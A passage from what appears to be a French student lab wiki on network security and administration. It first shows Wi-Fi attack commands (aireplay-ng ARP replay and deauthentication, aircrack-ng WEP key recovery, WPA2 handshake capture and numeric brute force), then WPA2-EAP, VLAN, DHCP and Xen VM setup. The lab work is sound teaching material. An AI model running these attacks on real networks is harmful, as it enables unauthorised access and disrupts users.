aireplay-ng --arpreplay \&lt;br /&gt;
            -b 00:14:BF:63:1E:42 \&lt;br /&gt;
            -h 02:11:22:33:44:55 \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le rejeu massif de requêtes ARP entraîne une augmentation rapide du nombre de trames de données capturées.&lt;br /&gt;
&lt;br /&gt;
=== Désauthentification d’un client ===&lt;br /&gt;
&lt;br /&gt;
Pour provoquer l’émission de nouvelles requêtes ARP :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aireplay-ng --deauth 5 \&lt;br /&gt;
            -a 00:14:BF:63:1E:42 \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette action force les stations à se reconnecter, générant du trafic exploitable.&lt;br /&gt;
&lt;br /&gt;
=== Cassage de la clé ===&lt;br /&gt;
&lt;br /&gt;
Lorsque le nombre d’IV atteint environ 45 000 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng capture_wep-01.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Résultat obtenu :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cracotte08.png|800px|vignette|centré]]&lt;br /&gt;
&lt;br /&gt;
- Nombre d’IV exploités : ~44 687&lt;br /&gt;
- Clé récupérée : FF:FF:FF:FF:FF:FA:BC:09:CB:AE:EE:EE:EE:EE&lt;br /&gt;
- Taux de déchiffrement : 100 %&lt;br /&gt;
&lt;br /&gt;
Cette expérimentation démontre que le protocole WEP ne fournit plus aucun niveau de sécurité acceptable. &lt;br /&gt;
&lt;br /&gt;
La récupération complète de la clé avec un volume relativement faible de trafic confirme son obsolescence et justifie son abandon au profit de mécanismes plus robustes tels que WPA2-Enterprise ou WPA3.&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
=== Identification du réseau cible ===&lt;br /&gt;
&lt;br /&gt;
L’analyse des réseaux sans fil environnants a été réalisée à l’aide de l’outil &amp;lt;code&amp;gt;airodump-ng&amp;lt;/code&amp;gt; en mode moniteur afin d’identifier le point d’accès Wi-Fi correspondant.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;code&amp;gt;wlan1mon&amp;lt;/code&amp;gt; correspond à l’interface Wi-Fi placée en mode moniteur.&lt;br /&gt;
&lt;br /&gt;
Le réseau cible identifié possède les caractéristiques suivantes :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Paramètre !! Valeur&lt;br /&gt;
|-&lt;br /&gt;
| ESSID || kracotte08&lt;br /&gt;
|-&lt;br /&gt;
| BSSID || 44:AD:D9:5F:87:07&lt;br /&gt;
|-&lt;br /&gt;
| Canal || 13&lt;br /&gt;
|-&lt;br /&gt;
| Chiffrement || WPA2&lt;br /&gt;
|-&lt;br /&gt;
| Authentification || PSK&lt;br /&gt;
|-&lt;br /&gt;
| Puissance signal || -38 dBm&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Une station cliente connectée a également été détectée :&lt;br /&gt;
&lt;br /&gt;
* Adresse MAC : 40:A5:EF:01:25:8B&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Capture du handshake WPA ===&lt;br /&gt;
&lt;br /&gt;
Afin de récupérer le four-way handshake WPA nécessaire au cassage du mot de passe, une capture ciblée du trafic a été lancée.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:07 -w kracotte_capture wlan1mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;-c 13&amp;lt;/code&amp;gt; : écoute sur le canal du point d’accès.&lt;br /&gt;
* &amp;lt;code&amp;gt;--bssid&amp;lt;/code&amp;gt; : filtrage du réseau cible uniquement.&lt;br /&gt;
* &amp;lt;code&amp;gt;-w&amp;lt;/code&amp;gt; : sauvegarde des paquets capturés.&lt;br /&gt;
* &amp;lt;code&amp;gt;wlan1mon&amp;lt;/code&amp;gt; : interface en mode moniteur.&lt;br /&gt;
&lt;br /&gt;
Cette commande enregistre les échanges d’authentification nécessaires à l’attaque.&lt;br /&gt;
&lt;br /&gt;
===Forçage de la reconnexion des clients ===&lt;br /&gt;
&lt;br /&gt;
Pour provoquer une nouvelle phase d’authentification WPA et générer un handshake, une attaque de désauthentification a été réalisée.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aireplay-ng -0 10 -a 44:AD:D9:5F:87:07 wlan1mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;-0 10&amp;lt;/code&amp;gt; : envoi de 10 trames de désauthentification.&lt;br /&gt;
* &amp;lt;code&amp;gt;-a&amp;lt;/code&amp;gt; : BSSID du point d’accès cible.&lt;br /&gt;
&lt;br /&gt;
Cette opération force les stations connectées à se reconnecter automatiquement, générant normalement un handshake WPA observable dans &amp;lt;code&amp;gt;airodump-ng&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Sortie observée :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Sending DeAuth (code 7) to broadcast -- BSSID: [44:AD:D9:5F:87:07]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Absence de capture du handshake ===&lt;br /&gt;
&lt;br /&gt;
Malgré l’envoi répété de trames de désauthentification, aucun message indiquant :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
WPA handshake: 44:AD:D9:5F:87:07&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
n’est apparu dans la fenêtre de capture.&lt;br /&gt;
&lt;br /&gt;
Cet échec s’explique par le fait que la machine utilisée pour réaliser l’attaque était située à une distance trop importante du point d’accès, entraînant une perte de paquets lors de la phase d’authentification. L’expérimentation a ensuite été répétée sur une machine positionnée plus près du point d’accès, ce qui a permis la capture correcte du handshake WPA et le bon déroulement de la procédure.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Selon l’énoncé du TP, le mot de passe WPA est supposé être un nombre composé de huit chiffres, nous faisons cette commande:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
seq -w 00000000 99999999 &amp;gt; dictionnaire.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
pour générer un fichier contenant toute les combinaisons numérique à 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
=== Tentative de cassage du mot de passe ===&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de lancer l’attaque par dictionnaire :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng -w dictionnaire.txt kracotte_capture-01.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette expérimentation met en évidence une amélioration significative du niveau de sécurité apporté par WPA2. Toutefois, la robustesse globale du système reste directement dépendante de la complexité du mot de passe utilisé. Une clé numérique simple demeure vulnérable à une attaque par dictionnaire exhaustive.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-EAP =&lt;br /&gt;
&lt;br /&gt;
== Objectif ==&lt;br /&gt;
&lt;br /&gt;
L’objectif de cette partie est de sécuriser l’accès au réseau WiFi en utilisant le mécanisme&lt;br /&gt;
d’authentification WPA2-Enterprise (WPA2-EAP).  &lt;br /&gt;
Contrairement au WPA-PSK, l’authentification repose ici sur un serveur centralisé&lt;br /&gt;
FreeRadius permettant une authentification individuelle des utilisateurs.&lt;br /&gt;
&lt;br /&gt;
L’infrastructure repose sur :&lt;br /&gt;
* un VLAN personnel dédié ;&lt;br /&gt;
* une redondance des routeurs via VRRP ;&lt;br /&gt;
* un serveur FreeRadius installé sur la machine virtuelle de services.&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
== Accès aux équipements réseau ==&lt;br /&gt;
&lt;br /&gt;
La connexion aux routeurs et bornes WiFi Cisco est réalisée via SSH :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -o KexAlgorithms=diffie-hellman-group-exchange-sha1,\&lt;br /&gt;
diffie-hellman-group14-sha1,\&lt;br /&gt;
diffie-hellman-group1-sha1 \&lt;br /&gt;
-o HostKeyAlgorithms=ssh-rsa \&lt;br /&gt;
-c aes128-cbc,3des-cbc,aes192-cbc,aes256-cbc,\&lt;br /&gt;
aes128-ctr,aes192-ctr,aes256-ctr \&lt;br /&gt;
admin@172.27.0.2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Adressage des équipements ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Equipement !! Adresse IP&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200 E304 || 172.27.0.1&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200 E306 || 172.27.0.2&lt;br /&gt;
|-&lt;br /&gt;
| Borne WiFi E306 || 172.27.0.3&lt;br /&gt;
|-&lt;br /&gt;
| Borne WiFi E304 || 172.27.0.4&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
== Création du VLAN personnel ==&lt;br /&gt;
&lt;br /&gt;
Le VLAN personnel attribué est le VLAN '''18'''.&lt;br /&gt;
&lt;br /&gt;
=== Sur les deux routeurs ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
vlan 18&lt;br /&gt;
 name VLAN_YASSINE&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
== Configuration des interfaces VLAN ==&lt;br /&gt;
&lt;br /&gt;
=== Routeur principal (E304) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
interface vlan 18&lt;br /&gt;
 ip address 10.60.8.2 255.255.255.0&lt;br /&gt;
 vrrp 18 address 10.60.8.1&lt;br /&gt;
 vrrp 18 priority 110&lt;br /&gt;
 vrrp 18 preempt&lt;br /&gt;
 no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
=== Routeur secondaire (E306) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
interface vlan 18&lt;br /&gt;
 ip address 10.60.8.3 255.255.255.0&lt;br /&gt;
 vrrp 18 address 10.60.8.1&lt;br /&gt;
 vrrp 18 priority 100&lt;br /&gt;
 vrrp 18 preempt&lt;br /&gt;
 no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
L’adresse virtuelle '''10.60.8.1''' constitue la passerelle par défaut des clients WiFi.&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
== Configuration DHCP ==&lt;br /&gt;
&lt;br /&gt;
Le serveur DHCP est réparti entre les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
=== Routeur E304 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip dhcp pool PoolYassine-A&lt;br /&gt;
 network 10.60.8.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.8.1&lt;br /&gt;
 dns-server 192.168.7.2&lt;br /&gt;
 address range 10.60.8.100 10.60.8.150&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
=== Routeur E306 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip dhcp pool PoolYassine-B&lt;br /&gt;
 network 10.60.8.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.8.1&lt;br /&gt;
 dns-server 192.168.7.2&lt;br /&gt;
 address range 10.60.8.151 10.60.8.200&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
== Routage vers la machine mandataire (PBR) ==&lt;br /&gt;
&lt;br /&gt;
Le trafic IPv4 du VLAN personnel est redirigé vers la machine mandataire.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
access-list 101 permit ip 10.60.8.0 0.0.0.255 any&lt;br /&gt;
&lt;br /&gt;
route-map PBR-YASSINE permit 10&lt;br /&gt;
 match ip address 101&lt;br /&gt;
 set ip next-hop 192.168.7.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Application :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
interface vlan 18&lt;br /&gt;
 ip policy route-map PBR-YASSINE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
== Configuration du serveur FreeRadius ==&lt;br /&gt;
&lt;br /&gt;
Sur la machine virtuelle de services (192.168.7.2) :&lt;br /&gt;
&lt;br /&gt;
Installation :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install freeradius freeradius-utils&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ajout du point d’accès WiFi :&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12399</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12399"/>
		<updated>2026-02-25T17:24:08Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests ==&lt;br /&gt;
&lt;br /&gt;
Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici l'état des interfaces de la machine de service RS7 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d692/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 942sec preferred_lft 842sec&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d693/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et voici l'état des interface de la machines mandataire Garage :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Garage:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c07/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 893sec preferred_lft 793sec&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c08/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test de la LAN ===&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping C2.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers Garages&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping Garage.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Test vers l'extérieur ===&lt;br /&gt;
&lt;br /&gt;
Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici un ping de RS7 vers l'extérieur en IPv4:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv4.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers l'extérieur en IPv6:&lt;br /&gt;
[[Fichier:Ipv6.png|centré|vignette|800x800px]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
